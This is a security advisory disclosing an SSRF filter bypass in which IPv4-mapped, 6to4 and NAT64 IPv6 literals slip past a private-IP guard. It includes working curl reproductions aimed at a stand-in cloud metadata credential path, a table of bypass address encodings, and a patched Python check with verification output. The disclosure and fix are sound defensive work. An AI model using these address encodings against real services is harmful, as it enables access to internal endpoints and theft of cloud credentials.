Advisory

GHSA-794r-5rp2-fpg8

Details, part 2 of 2. The advisory

Details

Bypass — IPv4-mapped IPv6 literal reaches the internal sentinel

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
{"ok":true,"data":{"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1","headers":{"Server":"BaseHTTP/0.6 Python/3.12.13","Date":"Sat, 30 May 2026 08:13:39 GMT","Content-Type":"text/plain","Content-Length":"124"}}},"error":null,"browser_session":null,"duration_ms":1}

The sentinel access log confirms the request really arrived from the app:

[sentinel] "GET /latest/meta-data/iam/security-credentials/admin-role HTTP/1.1" 200 -

The guard passed the transition-form host and the internal sentinel body (including the FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN marker) was returned to the caller.

Bypass — NAT64 well-known-prefix IMDS vector reaches the SSRF gate

On this host there is no NAT64 router, so the connection cannot complete; the point is that the guard does not raise `SSRFError` for the NAT64 form (it proceeds to a network connect that then times out), in contrast to the raw 169.254.169.254 which is blocked at the guard:

$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}'
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] ","browser_session":null,"duration_ms":95805}

(64:ff9b::a9fe:a9fe is the NAT64-WKP encoding of 169.254.169.254. The empty [NETWORK_ERROR] is a connect timeout, not the Hostname blocked / URL resolves to private IP SSRF rejection seen for the raw forms — proving the guard let it through to the network layer. On a NAT64-enabled host the kernel routes this to the cloud metadata endpoint.)

Vector liveness on the affected runtime

Verified directly against the project's guard logic on Python 3.12.13 (the Dockerfile runtime; requires-python >= 3.9). Because the guard uses plain PRIVATE_IP_RANGES membership rather than the is_global/is_private predicates, it is not affected by the CPython CVE-2024-4032 (3.12.4+) reclassification, and all of these bypass the guard on every supported runtime:

64:ff9b::a9fe:a9fe       guard_blocks=False   (NAT64-WKP -> 169.254.169.254)
64:ff9b::7f00:1          guard_blocks=False   (NAT64-WKP -> 127.0.0.1)
2002:7f00:1::            guard_blocks=False   (6to4 -> 127.0.0.1)
::ffff:169.254.169.254   guard_blocks=False   (IPv4-mapped -> IMDS)
::ffff:127.0.0.1         guard_blocks=False   (IPv4-mapped -> loopback)   [used in the deployed bypass above]
169.254.169.254          guard_blocks=True    (native, correctly blocked)
127.0.0.1                guard_blocks=True    (native, correctly blocked)

Suggested fix

Unwrap any embedded IPv4 from IPv6 transition forms and range-check it as well as the outer address, before the membership test. Re-checking the embedded IPv4 (rather than blanket-blocking the prefix) keeps legitimate public destinations expressed in transition form allowed.

def _extract_embedded_ipv4(ip):
    """IPv4 embedded in an IPv6 transition address (mapped/compat/6to4/NAT64), else None."""
    if ip.version != 6:
        return None
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if ip.sixtofour is not None:               # 2002::/16
        return ip.sixtofour
    raw = int(ip).to_bytes(16, 'big')
    if raw[:2] == b'\x00\x64' and (raw[2:4] == b'\xff\x9b' or raw[2:6] == b'\xff\x9b\x00\x01'):
        return ipaddress.IPv4Address(raw[-4:])  # NAT64 64:ff9b::/96 and 64:ff9b:1::/48
    if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b'\x00\x00\x00\x01'):
        return ipaddress.IPv4Address(raw[-4:])  # IPv4-compatible ::a.b.c.d (deprecated)
    return None


def is_private_ip(ip_str: str) -> bool:
    try:
        ip = ipaddress.ip_address(ip_str)
    except ValueError:
        return True
    candidates = [ip]
    embedded = _extract_embedded_ipv4(ip)
    if embedded is not None:
        candidates.append(embedded)
    for candidate in candidates:
        for network in PRIVATE_IP_RANGES:
            if candidate.version == network.version and candidate in network:
                return True
    return False

Patched-build verification (same deployed server, fix applied)

With the fix applied to the installed core/utils.py and the server restarted, the previously-successful bypass is now blocked at the guard, and the NAT64 form is now an SSRFError instead of a connect timeout:

# [::ffff:127.0.0.1]:8080  (was ok:true returning the sentinel; now blocked)
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: ::ffff:127.0.0.1 -> ::ffff:127.0.0.1. Use 'allowed_hosts' to enable controlled private access.","duration_ms":5573}

# [64:ff9b::a9fe:a9fe]  (was a 95s connect timeout; now rejected at the SSRF gate)
{"ok":false,"data":null,"error":"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: 64:ff9b::a9fe:a9fe -> 64:ff9b::a9fe:a9fe. Use 'allowed_hosts' to enable controlled private access.","duration_ms":3003}

Public destinations expressed in transition form (e.g. ::ffff:8.8.8.8, 64:ff9b::808:808 = 8.8.8.8) remain allowed by the fix, since the embedded IPv4 is itself public.

Fix PR

A fix PR with the change above plus regression tests is provided via the advisory's private temporary fork (link added to this advisory).

Credit

Reported by tonghuaroot. Found by independent source review and confirmed with the deployed end-to-end reproduction above. CWE-918.

Sources & licences